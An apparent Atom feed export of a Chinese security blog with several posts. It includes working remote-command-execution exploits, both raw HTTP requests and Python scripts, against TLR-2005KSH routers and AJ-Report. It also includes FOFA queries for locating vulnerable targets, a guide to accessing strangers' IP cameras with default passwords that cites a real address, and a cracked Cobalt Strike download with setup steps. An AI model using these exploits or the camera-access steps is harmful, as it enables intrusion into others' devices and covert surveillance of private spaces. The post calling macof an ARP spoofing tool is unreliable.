lucky博客网 - wflaaa wflaaa 2024-09-10T11:11:00+08:00 Typecho http://blog.luckyos.top/index.php/feed/atom/author/1/ <![CDATA[一个扫描网站目录的工具 dirsearch]]> http://blog.luckyos.top/index.php/archives/110/ 2024-09-10T11:11:00+08:00 2024-09-10T11:11:00+08:00 wflaaa https://luckyxianyu.com

本工具仅供娱乐使用,禁止用于商用或者恶意破坏他人网站

第一步

肯定是环境安装,因为是python写的,需要安装python和python的一些支持库
这里我用的是python-3.9,这个自己去百度找,或者在python官网找
python官网

第二步

文件下载:
我们可以通过github去找,打不开自己挂个梯,这里就不教了
github下载地址
不会的可以从我网盘下载
网盘下载

第三步

解压,解压要是不会的话,可以重开了,这里就不介绍了,下一步进入解压的目录就行

第四步

在该目录打开cmd,也就是命令行,至于怎么打开可以是用dos命令,或者
m0vvdegk.png
在或者是
m0vve2sx.png
也可以用命令行
按住win加r
输入cmd回车

#这里要复制一下你解压后的绝对路径
#比如我这里是E:\tool\dirsearch-0.4.3
#然后命令行输入
cd E:\tool\dirsearch-0.4.3

安装python需要使用的第三方库

pip install -r .\requirements.txt -i https://pypi.tuna.tsinghua.edu.cn/simple

这里需要pip,如果下载慢换成国内源,至于怎么换,自己百度(下期我会出一个教程)

最后一步就是目录扫描

比如我们的网站时blog.luckyos.top,就直接

python .\dirsearch.py -u "blog.luckyos.top"

然后等待扫描完成就行,看到敏感目录,访问头正常200就行

补充

这里补充一点,如果时linux可以直接用软件源安装

#yum或者apt
#例:
apt install dirsearch
#然后使用方法就是:
dirsearch -u "blog.luckyos.top"

kali linux的话自带的有一个dirb,方法和这个差不多,有需要的可以去了解一下

]]>
<![CDATA[查看摄像头实时画面]]> http://blog.luckyos.top/index.php/archives/84/ 2024-08-01T10:34:00+08:00 2024-08-01T10:34:00+08:00 wflaaa https://luckyxianyu.com {mtitle title="免责声明"/}

lucky博客的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!!! 请遵循站内知识共享协议,出处:http://luckyxianyu.com/archives/cha-kan-she-xiang-tou-shi-shi-hua-mian;站点:luckyxianyu.com

用到工具

工具地址: 点击跳转
fofa地址: 点击跳转

使用

lzao3mg2.png

这是效果图,感兴趣的可以去看一看,真的很不错

当然还有一种适合装逼的方法那就是通过fofa来弱口令爆破摄像头
★ fofa搜索: 摄像头
可以得到以下资产

lzao5t5d.png
这里可以看到有很多干扰资产,就像一些涩情web啊,我们可以选择自己想要的摄像头来过滤一下
比如TP_LINK-摄像头

一般过滤以后都是可以查看画面的摄像头IP

如果没过滤的话一般有以下这些字眼的就是摄像头IP
比如:IPC IP Viewer这种字眼的就会是摄像头

我这里就随便找了个目标进行链接,通常情况下链接摄像头是会要账号密码的,但IP camera这个比较特殊,这款摄像头只有少部分的会设置访问账号密码

如果我们遇到需要账号密码的可以试着丢到爆破工具里面跑字典,也可以尝试一下这些账号密码

  • 第一种:
    user:admin

password:123456

  • 第二种:
    user:admin123

password:admin123

  • 第三种:
    user:admin

password:admin

  • 第四种:
    user:admin123

password:admin123456

这四种是手工弱口爆破比较常用的账号密码

连接方法,复制IP:端口进行访问,比如
109.60.136.32:8082

lzao7hk2.png
这个直接访问即可

]]>
<![CDATA[TLR-2005KSH路由器存在远程命令执行漏洞]]> http://blog.luckyos.top/index.php/archives/81/ 2024-08-01T10:29:00+08:00 2024-08-01T10:29:00+08:00 wflaaa https://luckyxianyu.com {mtitle title="免责声明"/}

技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!!!

前言

TLR-2005KSH路由器存在远程命令执行漏洞,攻击者可以通过该漏洞获取服务器权限

影响版本

TLR-2005Ksh 1.0.0
TLR-2005Ksh 1.1.4

佛法语法

FoFa:title="Login to TLR-2005KSH
fofa

资产详细

lzankosk.png

登录界面

lzanmy7o.png

EXP:


GET /cgi-bin/admin.cgi?Command=sysCommand&Cmd=你要执行的命令 HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0 OS/10.0.22631
Connection: close
Accept-Encoding: gzip, deflate, br

执行命令是空格要用空格符,上一篇文章有介绍

pythonpoc

import requests

# 用户输入的 IP 地址
user_ip = input("请输入 IP 地址: ")

# API 的 URL,使用格式化字符串替换 IP
url = f'http://{user_ip}/cgi-bin/admin.cgi?Command=sysCommand&Cmd=ifconfig'

# 请求头
headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0 OS/10.0.22631',
    'Connection': 'close',
    'Accept-Encoding': 'gzip, deflate, br'
}

# 发送 GET 请求
response = requests.get(url, headers=headers)

# 输出响应内容
print("状态码:", response.status_code)
print("响应内容:", response.text)
]]>
<![CDATA[AJ-Report开源数据大屏 verification;swagger-ui 远程命令执行漏洞]]> http://blog.luckyos.top/index.php/archives/80/ 2024-08-01T10:01:00+08:00 2024-08-01T10:01:00+08:00 wflaaa https://luckyxianyu.com {mtitle title="漏洞复现"/}

fofa搜索语法
 FOFA:title="AJ-Report"
fofa

poc

POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
Connection: close

{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder("id").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}

pythonpoc

import requests
import json

user_input = input("请输入要执行的命令: ")
# 这里你可以进行修改,做个批量
url = '你的url/dataSetParam/verification;swagger-ui/'

headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'Accept-Encoding': 'gzip, deflate, br',
    'Accept-Language': 'zh-CN,zh;q=0.9',
    'Content-Type': 'application/json;charset=UTF-8',
    'Connection': 'close'
}


data = {
    "ParamName": "",
    "paramDesc": "",
    "paramType": "",
    "sampleItem": "1",
    "mandatory": True,
    "requiredFlag": 1,
    "validationRules": f"function verification(data){{a = new java.lang.ProcessBuilder(\"{user_input}\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){{ss+=line}};return ss;}}"
}


response = requests.post(url, headers=headers, data=json.dumps(data))

print("状态码:", response.status_code)
print("响应内容:", response.text)

这里命令执行是不能加空格的,否则会拦截
如何执行空格命令,我们用特殊字符来代替
空格 == %20
实例:
 ls -l == ls%20-l

]]>
<![CDATA[植物大战僵尸杂交版秒杀包]]> http://blog.luckyos.top/index.php/archives/66/ 2024-06-12T18:39:00+08:00 2024-06-12T18:39:00+08:00 wflaaa https://luckyxianyu.com  本文仅用于信息安全学习,请遵守相关法律法规,严禁用于非法途径。若观众因此作出任何危害网络安全的行为,后果自负,与本人无关。

准备工作:

工具:
1:Cheat Engine 7.5
2:植物大战僵尸杂交版2.0.88
下载:

{hide}
{cloud title="ce75" type="default" url="http://pan.wflaaa.shop/d/lucky/tools/CheatEngine75.exe?sign=Mo5YfvlOK5rgUuxiPzzq2vtxWA8bgDU_Pc32NLpekZ8=:0" password=""/}

{cloud title="游戏" type="default" url="https://pan.wflaaa.shop/d/lucky/gmane/%E6%A4%8D%E7%89%A9%E5%A4%A7%E6%88%98%E5%83%B5%E5%B0%B8%E6%9D%82%E4%BA%A4%E7%89%88v2.0.88%E5%AE%89%E8%A3%85%E7%A8%8B%E5%BA%8F.exe?sign=0XH735Jdp3FL3ZJiIwxN_ml4Iy-3ZIDOursLSkNAo_I=:0" password=""/}
{/hide}

第一步 启动

这里我就不多说了,人人都会的,不会可以重开了

qidong

第二步 配置环境

打开配置接口
pei
因为这里说的是秒杀,所以需要看到僵尸血条才能修改值,这也是使用杂交版的原因
zhi

#### 下面启动工具,进行抓包
选择游戏
q
选择后点击OPEN
w

开始抓包

这里我们点击冒险模式
进入游戏就行了
r
这里我们看到僵尸的血量是270,红色条条
t
这是输入僵尸血条的值,然后回车,回车后什么也不动
y

放置植物,让植物打僵尸一下,获取动态值(这里要主要,僵尸被打后要按住暂停键)
 这里僵尸被打了一下,显示的血条还剩250

u
我们输入250,然后回车
i

之后会看到一个动态包,我们双击这个包,他就会出现再下面

o

#### 开始修改 这里修改的是红色血条
也就是秒杀红色血条,杂交版会有三种血条
p
然后按F6快捷键,查看谁改写了地址
a
我们回到游戏,让植物攻击僵尸后,僵尸掉血,我们得到了改写僵尸HP的代码
s
然后点击:show disassembler 翻译:显示反汇编程序

f
g
到了反汇编程序界面后,已经默认选择的这个地址,不要乱动,然后根据图片中的按钮点击就行

h
k
自动汇编窗口打开后,我们先点击 上图的模块就行

修改和封包

封包是干什么的,就是给你下一次继续用的
ll
我们就得到了上面的代码,我已经在修改代码处,已经写了说明了,看我图片上说的操作即可

下面封包,和使用

保存
z

然后就把当前开的小窗口都关闭了,回到CE修改器的主页面,就可以看到下面有一个 自动汇编脚本
我们勾选上,就可以秒杀僵尸了
d
这个杂交版的僵尸有3条血量,红,黄,蓝
你可以按照我的这个分析,抛砖引玉,把僵尸的另外2个血量,都赋值0,就可以彻底秒杀僵尸了!
最后一张图片,我是把黄色血量的代码也弄好了,剩下的就教给你们了!!! 

最后一步,大家记得改好了以后,保存一下CT ,下次就可以直接用了,或者用CE直接生成一个修改器来用!
这里的教程就不出了,出了就等于教你们写挂了,保存ct自己娱乐用用就行了

]]>
<![CDATA[python的requests模块详细笔记]]> http://blog.luckyos.top/index.php/archives/64/ 2024-06-04T11:04:00+08:00 2024-06-04T11:04:00+08:00 wflaaa https://luckyxianyu.com 学习爬虫第一步认识python。了解python,了解响应,模块

模块说明:requests是使用Apache2 licensed 许可证的HTTP库,用python编写,比urllib2模块更简洁。Request支持HTTP连接保持和连接池,支持使用cookie保持会话,支持文件上传,支持自动响应内容的编码,支持国际化的URL和POST数据自动编码。在python内置模块的基础上进行了高度的封装,从而使得python进行网络请求时,变得人性化,使用Requests可以轻而易举的完成浏览器可有的任何操作。现代,国际化,友好。requests会自动实现持久连接keep-alive

第一步安装

这里需要配置requests,至于怎么安装,这里用到python的pip

pip install requests

第二步导入模块

在python编辑中需要导入模块

import requests

ipython

发送请求的简洁

示例代码:获取一个网页(个人github)

import requests
 
r = requests.get('github链接')       # 最基本的不带参数的get请求
r1 = requests.get(url='http://dict.baidu.com/s', params={'wd': 'python'})      # 带参数的get请求
requests.get(‘[url]https://github.com/timeline.json[/url]’)                                # GET请求
requests.post(“[url]http://httpbin.org/post[/url]”)                                        # POST请求
requests.put(“[url]http://httpbin.org/put[/url]”)                                          # PUT请求
requests.delete(“[url]http://httpbin.org/delete[/url]”)                                    # DELETE请求
requests.head(“[url]http://httpbin.org/get[/url]”)                                         # HEAD请求
requests.options(“[url]http://httpbin.org/get[/url]” )                                     # OPTIONS请求

为url传递参数

url_params = {'key':'value'}       #    字典传递参数,如果值为None的键不会被添加到url中
r = requests.get('your url',params = url_params)
print(r.url)
  your url?key=value
响应内容
r.encoding                       #获取当前的编码
r.encoding = 'utf-8'             #设置编码
r.text                           #以encoding解析返回内容。字符串方式的响应体,会自动根据响应头部的字符编码进行解码。
r.content                        #以字节形式(二进制)返回。字节方式的响应体,会自动为你解码 gzip 和 deflate 压缩。
 
r.headers                        #以字典对象存储服务器响应头,但是这个字典比较特殊,字典键不区分大小写,若键不存在则返回None
 
r.status_code                     #响应状态码
r.raw                             #返回原始响应体,也就是 urllib 的 response 对象,使用 r.raw.read()   
r.ok                              # 查看r.ok的布尔值便可以知道是否登陆成功
 #*特殊方法*#
r.json()                         #Requests中内置的JSON解码器,以json形式返回,前提返回的内容确保是json格式的,不然解析出错会抛异常
r.raise_for_status()             #失败请求(非200响应)抛出异常
post发送json请求:
import requests
import json

r = requests.post('https://api.github.com/some/endpoint', data=json.dumps({'some': 'data'}))
print(r.json())
定制头和cookie信息
header = {'user-agent': 'my-app/0.0.1''}
cookie = {'key':'value'}
 r = requests.get/post('your url',headers=header,cookies=cookie)
 data = {'some': 'data'}
headers = {'content-type': 'application/json',
           'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:22.0) Gecko/20100101 Firefox/22.0'}
  
r = requests.post('https://api.github.com/some/endpoint', data=data, headers=headers)
print(r.text)

这里可以用burp的一个小插件一键生成,在网络安全行业中,爬虫是非常常用的,配合抓包工具

响应状态码

使用requests方法后,会返回一个response对象,其存储了服务器响应的内容,如上实例中已经提到的 r.text、r.status_code……
获取文本方式的响应体实例:当你访问 r.text 之时,会使用其响应的文本编码进行解码,并且你可以修改其编码让 r.text 使用自定义的编码进行解码。

r = requests.get('http://www.itwhy.org')
print(r.text, '\n{}\n'.format('*'*79), r.encoding)
r.encoding = 'GBK'
print(r.text, '\n{}\n'.format('*'*79), r.encoding)
#下面是代码实例
import requests
 
r = requests.get('https://github.com/Ranxf')       # 最基本的不带参数的get请求
print(r.status_code)                               # 获取返回状态
r1 = requests.get(url='http://dict.baidu.com/s', params={'wd': 'python'})      # 带参数的get请求
print(r1.url)
print(r1.text)        # 打印解码后的返回数据
#运行结果
/usr/bin/python3.5 /home/rxf/python3_1000/1000/python3_server/python3_requests/demo1.py
200
[url]http://dict.baidu.com/s?wd=python[/url]
…………
 
Process finished with exit code 0
#如果返回结果不是200,可以修改代码,使用r.raise_for_status() 抛出异常
响应
r.headers                                  #返回字典类型,头信息
r.requests.headers                         #返回发送到服务器的头信息
r.cookies                                  #返回cookie
r.history                                  #返回重定向信息,当然可以在请求是加上allow_redirects = false 阻止重定向
超时
r = requests.get('url',timeout=1)           #设置秒数超时,仅对于连接有效
会话对象,能够跨请求保持某些参数
s = requests.Session()
s.auth = ('auth','passwd')
s.headers = {'key':'value'}
r = s.get('url')
r1 = s.get('url1')
代{过}{滤}理
proxies = {'http':'ip1','https':'ip2' }
requests.get('url',proxies=proxies)

汇总如下:

{hide}

HTTP请求类型

get类型

r = requests.get('https://github.com/timeline.json')

post类型

r = requests.post("http://m.ctrip.com/post")

put类型

r = requests.put("http://m.ctrip.com/put")

delete类型

r = requests.delete("http://m.ctrip.com/delete")

head类型

r = requests.head("http://m.ctrip.com/head")

options类型

r = requests.options("http://m.ctrip.com/get")

获取响应内容

print(r.content) #以字节的方式去显示,中文显示为字符
print(r.text) #以文本的方式去显示

URL传递参数

payload = {'keyword': '香港', 'salecityid': '2'}
r = requests.get("http://m.ctrip.com/webapp/tourvisa/visa_list", params=payload)
print(r.url) #示例为[url]http://m.ctrip.com/webapp/tourvisa/visa_list?salecityid=2&keyword=[/url]香港

获取/修改网页编码

r = requests.get('https://github.com/timeline.json')
print (r.encoding)

json处理

r = requests.get('https://github.com/timeline.json')
print(r.json()) # 需要先import json  

定制请求头

url = 'http://m.ctrip.com'
headers = {'User-Agent' : 'Mozilla/5.0 (Linux; Android 4.2.1; en-us; Nexus 4 Build/JOP40D) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.166 Mobile Safari/535.19'}
r = requests.post(url, headers=headers)
print (r.request.headers)

复杂post请求

url = 'http://m.ctrip.com'
payload = {'some': 'data'}
r = requests.post(url, data=json.dumps(payload)) #如果传递的payload是string而不是dict,需要先调用dumps方法格式化一下

post多部分编码文件

url = 'http://m.ctrip.com'
files = {'file': open('report.xls', 'rb')}
r = requests.post(url, files=files)

响应状态码

r = requests.get('http://m.ctrip.com')
print(r.status_code)

响应头

r = requests.get('http://m.ctrip.com')
print (r.headers)
print (r.headers['Content-Type'])
print (r.headers.get('content-type')) #访问响应头部分内容的两种方式

Cookies

url = 'http://example.com/some/cookie/setting/url'
r = requests.get(url)
r.cookies['example_cookie_name']    #读取cookies
     
url = 'http://m.ctrip.com/cookies'
cookies = dict(cookies_are='working')
r = requests.get(url, cookies=cookies) #发送cookies

设置超时时间

r = requests.get('http://m.ctrip.com', timeout=0.001)

设置访问代{过}{滤}理

proxies = {
           "http": "http://10.10.1.10:3128",
           "https": "http://10.10.1.100:4444",
          }
r = requests.get('http://m.ctrip.com', proxies=proxies)
 

如果代{过}{滤}理需要用户名和密码,则需要这样:

proxies = {
    "http": "http://user:pass@10.10.1.10:3128/",
}

GET请求代码示例

1、无参数实例

import requests
 
ret = requests.get('https://github.com/timeline.json')
 
print(ret.url)
print(ret.text)

2、有参数实例

import requests
 
payload = {'key1': 'value1', 'key2': 'value2'}
ret = requests.get("http://httpbin.org/get", params=payload)
 
print(ret.url)
print(ret.text)

POST请求代码示例

1、基本POST实例

import requests
   
payload = {'key1': 'value1', 'key2': 'value2'}
ret = requests.post("http://httpbin.org/post", data=payload)
   
print(ret.text)

2、发送请求头和数据实例

import requests
import json
   
url = 'https://api.github.com/some/endpoint'
payload = {'some': 'data'}
headers = {'content-type': 'application/json'}
   
ret = requests.post(url, data=json.dumps(payload), headers=headers)
   
print(ret.text)
print(ret.cookies)

请求参数

def request(method, url, **kwargs):
    """Constructs and sends a :class:`Request <Request>`.
 
    :param method: method for the new :class:`Request` object.
    :param url: URL for the new :class:`Request` object.
    :param params: (optional) Dictionary or bytes to be sent in the query string for the :class:`Request`.
    :param data: (optional) Dictionary, bytes, or file-like object to send in the body of the :class:`Request`.
    :param json: (optional) json data to send in the body of the :class:`Request`.
    :param headers: (optional) Dictionary of HTTP Headers to send with the :class:`Request`.
    :param cookies: (optional) Dict or CookieJar object to send with the :class:`Request`.
    :param files: (optional) Dictionary of ``'name': file-like-objects`` (or ``{'name': file-tuple}``) for multipart encoding upload.
        ``file-tuple`` can be a 2-tuple ``('filename', fileobj)``, 3-tuple ``('filename', fileobj, 'content_type')``
        or a 4-tuple ``('filename', fileobj, 'content_type', custom_headers)``, where ``'content-type'`` is a string
        defining the content type of the given file and ``custom_headers`` a dict-like object containing additional headers
        to add for the file.
    :param auth: (optional) Auth tuple to enable Basic/Digest/Custom HTTP Auth.
    :param timeout: (optional) How long to wait for the server to send data
        before giving up, as a float, or a :ref:`(connect timeout, read
        timeout) <timeouts>` tuple.
    :type timeout: float or tuple
    :param allow_redirects: (optional) Boolean. Set to True if POST/PUT/DELETE redirect following is allowed.
    :type allow_redirects: bool
    :param proxies: (optional) Dictionary mapping protocol to the URL of the proxy.
    :param verify: (optional) whether the SSL cert will be verified. A CA_BUNDLE path can also be provided. Defaults to ``True``.
    :param stream: (optional) if ``False``, the response content will be immediately downloaded.
    :param cert: (optional) if String, path to ssl client cert file (.pem). If Tuple, ('cert', 'key') pair.
    :return: :class:`Response <Response>` object
    :rtype: requests.Response
 
    Usage::
 
      >>> import requests
      >>> req = requests.request('GET', 'http://httpbin.org/get')
      <Response [200]>

参数示例代码

def param_method_url():
    # requests.request(method='get', url='http://127.0.0.1:8000/test/')
    # requests.request(method='post', url='http://127.0.0.1:8000/test/')
    pass
 
 
def param_param():
    # - 可以是字典
    # - 可以是字符串
    # - 可以是字节(ascii编码以内)
 
    # requests.request(method='get',
    # url='http://127.0.0.1:8000/test/',
    # params={'k1': 'v1', 'k2': '水电费'})
 
    # requests.request(method='get',
    # url='http://127.0.0.1:8000/test/',
    # params="k1=v1&k2=水电费&k3=v3&k3=vv3")
 
    # requests.request(method='get',
    # url='http://127.0.0.1:8000/test/',
    # params=bytes("k1=v1&k2=k2&k3=v3&k3=vv3", encoding='utf8'))
 
    # 错误
    # requests.request(method='get',
    # url='http://127.0.0.1:8000/test/',
    # params=bytes("k1=v1&k2=水电费&k3=v3&k3=vv3", encoding='utf8'))
    pass
 
 
def param_data():
    # 可以是字典
    # 可以是字符串
    # 可以是字节
    # 可以是文件对象
 
    # requests.request(method='POST',
    # url='http://127.0.0.1:8000/test/',
    # data={'k1': 'v1', 'k2': '水电费'})
 
    # requests.request(method='POST',
    # url='http://127.0.0.1:8000/test/',
    # data="k1=v1; k2=v2; k3=v3; k3=v4"
    # )
 
    # requests.request(method='POST',
    # url='http://127.0.0.1:8000/test/',
    # data="k1=v1;k2=v2;k3=v3;k3=v4",
    # headers={'Content-Type': 'application/x-www-form-urlencoded'}
    # )
 
    # requests.request(method='POST',
    # url='http://127.0.0.1:8000/test/',
    # data=open('data_file.py', mode='r', encoding='utf-8'), # 文件内容是:k1=v1;k2=v2;k3=v3;k3=v4
    # headers={'Content-Type': 'application/x-www-form-urlencoded'}
    # )
    pass
 
 
def param_json():
    # 将json中对应的数据进行序列化成一个字符串,json.dumps(...)
    # 然后发送到服务器端的body中,并且Content-Type是 {'Content-Type': 'application/json'}
    requests.request(method='POST',
                     url='http://127.0.0.1:8000/test/',
                     json={'k1': 'v1', 'k2': '水电费'})
 
 
def param_headers():
    # 发送请求头到服务器端
    requests.request(method='POST',
                     url='http://127.0.0.1:8000/test/',
                     json={'k1': 'v1', 'k2': '水电费'},
                     headers={'Content-Type': 'application/x-www-form-urlencoded'}
                     )
 
 
def param_cookies():
    # 发送Cookie到服务器端
    requests.request(method='POST',
                     url='http://127.0.0.1:8000/test/',
                     data={'k1': 'v1', 'k2': 'v2'},
                     cookies={'cook1': 'value1'},
                     )
    # 也可以使用CookieJar(字典形式就是在此基础上封装)
    from http.cookiejar import CookieJar
    from http.cookiejar import Cookie
 
    obj = CookieJar()
    obj.set_cookie(Cookie(version=0, name='c1', value='v1', port=None, domain='', path='/', secure=False, expires=None,
                          discard=True, comment=None, comment_url=None, rest={'HttpOnly': None}, rfc2109=False,
                          port_specified=False, domain_specified=False, domain_initial_dot=False, path_specified=False)
                   )
    requests.request(method='POST',
                     url='http://127.0.0.1:8000/test/',
                     data={'k1': 'v1', 'k2': 'v2'},
                     cookies=obj)
 
 
def param_files():
    # 发送文件
    # file_dict = {
    # 'f1': open('readme', 'rb')
    # }
    # requests.request(method='POST',
    # url='http://127.0.0.1:8000/test/',
    # files=file_dict)
 
    # 发送文件,定制文件名
    # file_dict = {
    # 'f1': ('test.txt', open('readme', 'rb'))
    # }
    # requests.request(method='POST',
    # url='http://127.0.0.1:8000/test/',
    # files=file_dict)
 
    # 发送文件,定制文件名
    # file_dict = {
    # 'f1': ('test.txt', "hahsfaksfa9kasdjflaksdjf")
    # }
    # requests.request(method='POST',
    # url='http://127.0.0.1:8000/test/',
    # files=file_dict)
 
    # 发送文件,定制文件名
    # file_dict = {
    #     'f1': ('test.txt', "hahsfaksfa9kasdjflaksdjf", 'application/text', {'k1': '0'})
    # }
    # requests.request(method='POST',
    #                  url='http://127.0.0.1:8000/test/',
    #                  files=file_dict)
 
    pass
 
 
def param_auth():
    from requests.auth import HTTPBasicAuth, HTTPDigestAuth
 
    ret = requests.get('https://api.github.com/user', auth=HTTPBasicAuth('wupeiqi', 'sdfasdfasdf'))
    print(ret.text)
 
    # ret = requests.get('http://192.168.1.1',
    # auth=HTTPBasicAuth('admin', 'admin'))
    # ret.encoding = 'gbk'
    # print(ret.text)
 
    # ret = requests.get('http://httpbin.org/digest-auth/auth/user/pass', auth=HTTPDigestAuth('user', 'pass'))
    # print(ret)
    #
 
 
def param_timeout():
    # ret = requests.get('http://google.com/', timeout=1)
    # print(ret)
 
    # ret = requests.get('http://google.com/', timeout=(5, 1))
    # print(ret)
    pass
 
 
def param_allow_redirects():
    ret = requests.get('http://127.0.0.1:8000/test/', allow_redirects=False)
    print(ret.text)
 
 
def param_proxies():
    # proxies = {
    # "http": "61.172.249.96:80",
    # "https": "http://61.185.219.126:3128",
    # }
 
    # proxies = {'http://10.20.1.128': 'http://10.10.1.10:5323'}
 
    # ret = requests.get("http://www.proxy360.cn/Proxy", proxies=proxies)
    # print(ret.headers)
 
 
    # from requests.auth import HTTPProxyAuth
    #
    # proxyDict = {
    # 'http': '77.75.105.165',
    # 'https': '77.75.105.165'
    # }
    # auth = HTTPProxyAuth('username', 'mypassword')
    #
    # r = requests.get("http://www.google.com", proxies=proxyDict, auth=auth)
    # print(r.text)
 
    pass
 
 
def param_stream():
    ret = requests.get('http://127.0.0.1:8000/test/', stream=True)
    print(ret.content)
    ret.close()
 
    # from contextlib import closing
    # with closing(requests.get('http://httpbin.org/get', stream=True)) as r:
    # # 在此处理响应。
    # for i in r.iter_content():
    # print(i)
 
 
def requests_session():
    import requests
 
    session = requests.Session()
 
    ### 1、首先登陆任何页面,获取cookie
 
    i1 = session.get(url="http://dig.chouti.com/help/service")
 
    ### 2、用户登陆,携带上一次的cookie,后台对cookie中的 gpsd 进行授权
    i2 = session.post(
        url="http://dig.chouti.com/login",
        data={
            'phone': "8615131255089",
            'password': "xxxxxx",
            'oneMonth': ""
        }
    )
    i3 = session.post(
        url="http://dig.chouti.com/link/vote?linksId=8589623",
    )
    print(i3.text)

这里我准备了一个小实例

{cloud title="爬虫实例" type="default" url="http://101.237.34.242:12306/lucky/python/%E7%88%AC%E8%99%AB.py" password=""/}

{/hide}

]]>
<![CDATA[一个arp工具]]> http://blog.luckyos.top/index.php/archives/63/ 2024-05-16T18:33:00+08:00 2024-05-16T18:33:00+08:00 wflaaa https://luckyxianyu.com {mtitle title="macof "/}
arp

arp攻击

什么是arp?

ARP攻击是一种针对以太网地址解析协议(ARP)的攻击技术,旨在欺骗局域网(LAN)内的设备,使其将数据发送到攻击者指定的地址。这种攻击通常涉及伪造IP地址和MAC地址,通过发送大量的伪造ARP响应包,攻击者可以更改目标主机的ARP缓存中的IP-MAC条目,从而造成网络中断或进行中间人攻击

工具介绍

macof工具是一个用于生成ARP(地址解析协议)流量的工具,通常用于网络安全测试。它可以用于模拟ARP欺骗攻击,使网络设备相信某个MAC地址与特定IP地址相关联。请注意,使用这样的工具可能违反网络使用政策,因此在进行任何测试之前,确保您获得了授权。

安装

 首先你要有一台kali或者ubuntu发行版的linux操作系统
在Kali Linux等渗透测试工具中,macof通常是预安装的。如果你没有安装,可以通过以下命令安装:

sudo apt-get install dsniff

运行和使用

打开kali终端,输入下面的命令
查看接口命令你们应该都会,不会后续我会出一期linux命令的帖子

#这里先给权限 然后使用macof,然后-i 指定某个接口
sudo macof -i <接口>

其中,<接口> 是你要发送ARP流量的网络接口,例如eth0。
macof将开始生成大量的ARP请求,伪造各种MAC地址和IP地址的组合,发送到网络上。
请注意,使用这种类型的工具可能导致网络不稳定,对于未经授权的网络可能是非法的。确保你获得了适当的授权,并且仅在授权的环境中使用该工具。此外,了解并遵守当地法规和网络使用政策。

]]>
<![CDATA[CobaltStrike下载]]> http://blog.luckyos.top/index.php/archives/61/ 2024-05-15T10:52:00+08:00 2024-05-15T10:52:00+08:00 wflaaa https://luckyxianyu.com

本文仅用于信息安全学习,请遵守相关法律法规,严禁用于非法途径。若观众因此作出任何危害网络安全的行为,后果自负,与本人无关。

{mtitle title="原文借鉴csdn"/}

csdn点击跳转

上文说了在kali里面使用

现在Windows中使用,但是也要linux

需要一个服务器端
服务端配置

#需要先进入文件夹这里我放在了根目录,解压我就不介绍了,不会自己去百度
cd /
cd cs4.0汉化版\cobaltstrike有修改中文
chmod +x teamserver    #添加权限
ifconfig eth0      #查看网卡
/teamserver 192.168.237.136 123  #启动配置后面的123是密码这个要记住

1

然后回到windows去连接这个服务端

这里要用到dos命令和java命令,需要安装java不会安装去百度,环境变量也要配置
进入目录,这个应该都会,我就不介绍了
在目录里面打开cmd,应该也会吧,我就不介绍了
打开dos界面以后输入java指令

java -Dfile.encoding=UTF-8 -javaagent:CobaltStrikeCN.jar -XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC -jar cobaltstrike.jar
#打开这个jar包

下面进行连接,看图
2
这里选择是
3

然后就连接上了

4

{mtitle title="下载地址"/}

{cloud title="cs4.0下载" type="default" url="http://pan.luckybs.top/down.php/bf4f2826108b8574a355703102f54c8e.zip" password=""/}

常用功能

从上面第一个开始

  1. 链接到另外一个团队服务器:在网络渗透测试和攻击中,攻击者可能需要与其他团队服务器建立连接以获取进一步访问权限。
  2. 断开服务器连接:在网络渗透测试和攻击中,攻击者可能需要断开与目标服务器的连接以避免被发现。
  3. 查看所有监听器:在网络渗透测试和攻击中,攻击者可能会设置监听器以捕获目标系统上的流量或访问凭据。
  4. 切换为pivot图[服务器节点]:在网络渗透测试和攻击中,攻击者可能会使用Pivot技术将攻击点从一个系统转移到另一个系统。
  5. 切换为会话列表:在网络渗透测试和攻击中,攻击者可能会使用会话列表来管理已经建立的会话。
  6. 切换为目标列表:在网络渗透测试和攻击中,攻击者可能会使用目标列表来管理攻击目标。
  7. 查看凭据信息:在网络渗透测试和攻击中,攻击者可能会尝试获取目标系统上的账户凭据以获取更高的权限。
  8. 查看下载文件:在网络渗透测试和攻击中,攻击者可能会尝试下载目标系统上的文件以获取敏感信息。
